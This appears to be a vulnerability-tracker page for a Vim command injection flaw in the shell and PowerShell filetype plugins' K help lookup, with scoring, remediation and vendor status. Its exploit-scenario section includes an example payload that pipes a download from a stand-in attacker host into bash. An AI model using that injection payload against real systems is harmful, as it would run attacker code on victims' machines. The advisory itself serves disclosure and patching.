Skip to main content

Vim EUVDEUVD-2026-56233

| CVE-2026-73077 HIGH
OS Command Injection (CWE-78)
2026-08-11 GitHub_M
8.4
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Deliver crafted .sh/.zsh/.ps1 file to target
  2. Delivery
    Victim opens file in Vim (filetype plugin loads)
  3. Exploit
    Victim visually selects metacharacter-embedded token
  4. Execution
    Victim presses K to invoke keywordprg
  5. Persist
    Unsanitized selection interpolated into bash/zsh/PowerShell string
  6. Impact
    Arbitrary OS commands execute as victim user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Three specific conditions must all be met: (1) the victim must be running Vim prior to 9.2.0839, (2) the victim must have opened a file whose filetype Vim resolves to 'sh', 'zsh', or 'ps1' - activating the corresponding filetype plugin - meaning the file must carry a recognized extension (.sh, .bash, .zsh, .ps1) or have modeline/shebang detection enabled, and (3) the victim must perform a Visual-mode selection that includes shell metacharacters and then press K (or invoke :ShKeywordPrg/:ZshKeywordPrg/:GetHelp directly). The CVSS UI:A metric confirms user interaction is mandatory; there is no passive or background trigger. Exploitation is further limited to the privileges of the user running Vim (no privilege escalation component, SC:N/SI:N/SA:N). The attack does not require network access to the victim's machine - delivery of the malicious file is the access primitive, after which local execution is triggered by the user's own keypress.

Impact

The CVSS 4.0 vector AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N scores 8.4 and is internally consistent: local attack vector (attacker delivers a malicious file rather than connecting over a network), no special attack conditions, no privileges required on the attacker's side, but user interaction is mandatory - the victim must open the file and manually invoke K on a crafted selection. EPSS data was not provided. No active exploitation is confirmed (not in CISA KEV) and no public proof-of-concept has been identified, which meaningfully reduces near-term operational risk. Despite the high impact metrics (C:H/I:H/A:H reflecting full command execution), the user-interaction gate and local delivery model limit opportunistic mass exploitation. The realistic threat model is a targeted social engineering attack: an attacker delivers a malicious .sh, .zsh, or .ps1 file and entices the developer to look up help on suspicious-looking syntax. The missing EPSS score prevents probabilistic comparison, but the absence of KEV and POC, combined with the UI:A requirement, places this below network-exploitable, authentication-free vulnerabilities of equivalent CVSS score for most prioritization frameworks.

Exploit ScenarioDerived

An attacker crafts a .sh or .zsh file containing a function or variable name embedding shell metacharacters - for example, a string like 'foo; curl http://attacker.example/payload | bash; echo bar'. The attacker delivers this file to a developer (via email attachment, repository clone, or shared script), who opens it in an unpatched Vim. When the developer visually selects the crafted token and presses K to invoke inline shell help, Vim's ShKeywordPrg or ZshKeywordPrg command interpolates the raw selection into a bash or zsh command string, causing the injected commands to execute with the developer's OS privileges. No public proof-of-concept exploit code has been identified at time of analysis.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 11, 2026

Command injection in Vim's shell-related filetype plugins (sh.vim, zsh.vim, ps1.vim) allows arbitrary OS command execution when a user editing a shell or PowerShell file invokes the K keywordprg help lookup on a Visual-mode selection containing shell metacharacters. Affected versions are all Vim releases prior to 9.2.0839; no public exploit or CISA KEV listing has been identified at time of analysis. The CVSS 4.0 score of 8.4 reflects high confidentiality, integrity, and availability impact, tempered by the requirement for user interaction to trigger the vulnerable code path.

RemediationAI

Upgrade Vim to version 9.2.0839 or later; this is the vendor-released patch confirmed by commit c5a82fe013e73c98004ad7cd4f906b1ad1ed610e (https://github.com/vim/vim/commit/c5a82fe013e73c98004ad7cd4f906b1ad1ed610e) and the GitHub Security Advisory GHSA-r5v6-q6j8-8qw2. Package maintainers for distributions that ship Vim (Debian, Ubuntu, RHEL, Homebrew, etc.) should be consulted for backported patches if in-place upgrade to 9.2.0839 is not feasible. As a compensating control where upgrading is not immediately possible, administrators or users can remove or override the affected filetype plugins by adding 'let g:no_plugin_maps = 1' or unloading the specific plugins via autocmd FileType sh,zsh,ps1 in the user's vimrc - this disables the K keywordprg binding but also loses the legitimate help-lookup functionality. An alternative is to set 'keywordprg' to a safe value (':help') for shell filetypes in vimrc: 'autocmd FileType sh,zsh setlocal keywordprg=:help'. Neither workaround should be treated as equivalent to patching.

Affected VersionsENISA

vim < 9.2.0839

Affected Packages

euvd vim fix: 9.2.0839

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command - OS Command Injection). The affected filetype plugins construct shell command strings via direct string interpolation of user-supplied Visual-mode selections: sh.vim passes the argument to bash -c "help <args>", zsh.vim to zsh -c "autoload -Uz run-help; run-help <args>", and ps1.vim to PowerShell's Get-Help. Neither fnameescape() nor PATH_ESC_CHARS neutralize bash/zsh/PowerShell metacharacters such as semicolons, backticks, dollar signs, or parentheses before the interpolated string is evaluated by the shell. The fix, committed July 10 2026 (c5a82fe), replaces string-based exe/system() invocations with list-based invocations (term_start([...]) and system([...])), passing the keyword as a positional parameter ($1) instead of embedding it in the command string - the standard defense against argument injection. CPE cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:* covers all Vim versions across platforms.

Know when Vim gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.8 HIGH

Local vector because delivery requires a file the user opens; PR:N since the attacker needs no system account; UI:R because the victim must manually trigger K; no scope change as impact is confined to the user's process.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Red Hat 7.3 HIGH

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 11, 2026 - 17:02 EUVD
CVE Published
Aug 11, 2026 - 15:39 cve.org
HIGH 8.4

DescriptionCVE.org

Vim is an open source, command line text editor. Prior to 9.2.0839, the runtime/ftplugin/sh.vim, runtime/ftplugin/zsh.vim, and runtime/ftplugin/ps1.vim filetype plugins pass attacker-controlled Visual-mode selections from K through keywordprg commands without safely separating shell arguments. fnameescape() and PATH_ESC_CHARS do not neutralize shell metacharacters before ShKeywordPrg, ZshKeywordPrg, or GetHelp invokes bash, zsh, or PowerShell, allowing arbitrary operating-system commands to execute with the privileges of the user running Vim. This issue is fixed in version 9.2.0839.

Executive ViewAI

Why It Matters

A command injection vulnerability in Vim's shell-related editing plugins (sh.vim, zsh.vim, ps1.vim) allows arbitrary OS command execution when users invoke help lookup on crafted shell metacharacters during editing. This threatens development teams and system administrators who use Vim for shell script editing, as attackers could achieve full system compromise through malicious file content.

Business Impact: High
Compensating Controls

Until a vendor patch is released: configure Vim to disable keywordprg functionality or set it to a safe alternative command; restrict file edit permissions to prevent unauthorized shell script modifications; provide user training to avoid invoking help commands on untrusted shell content; consider restricting Vim usage in high-risk development environments; review editor configuration policies for all shell script editing tools used organization-wide.

Threat Intelligence Overview

EPSS Score
0.1%
Top 96% exploitable
Prevalence
High
pre-installed or widely adopted on Linux, macOS, and developer workstations globally
Data Quality
8 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Vim

View all
CVE-2022-3520 CRITICAL POC
9.8 Dec 02

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.0765. Rated critical severity (CVSS 9.8), this vuln

CVE-2022-0729 HIGH POC
8.8 Feb 23

Use of Out-of-range Pointer Offset in GitHub repository vim/vim prior to 8.2.4440. Rated high severity (CVSS 8.8), this

CVE-2026-34714 HIGH POC
8.6 Mar 30

Code execution vulnerability in Vim before 9.2.0272 allows attackers to gain immediate arbitrary command execution upon

CVE-2019-12735 HIGH POC
8.6 Jun 05

getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote attackers to execute arbitrary OS commands via th

CVE-2021-3968 HIGH POC
8.0 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 8.0), this vulnerability is remotely exploita

CVE-2022-1616 HIGH POC
7.8 May 07

Use after free in append_command in GitHub repository vim/vim prior to 8.2.4895. Rated high severity (CVSS 7.8), this vu

CVE-2022-1619 HIGH POC
7.8 May 08

Heap-based Buffer Overflow in function cmdline_erase_chars in GitHub repository vim/vim prior to 8.2.4899. Rated high se

CVE-2021-4136 HIGH POC
7.8 Dec 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2021-3973 HIGH POC
7.8 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2021-3927 HIGH POC
7.8 Nov 05

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2022-2125 HIGH POC
7.8 Jun 19

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability

CVE-2022-2126 HIGH POC
7.8 Jun 19

Out-of-bounds Read in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability is no a

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SLES15-SP5-CHOST-BYOS-SAP-CCloud Affected
SLES15-SP6-CHOST-BYOS Affected
SLES15-SP6-CHOST-BYOS-Aliyun Affected
SLES15-SP6-CHOST-BYOS-Azure Affected
SLES15-SP6-CHOST-BYOS-EC2 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy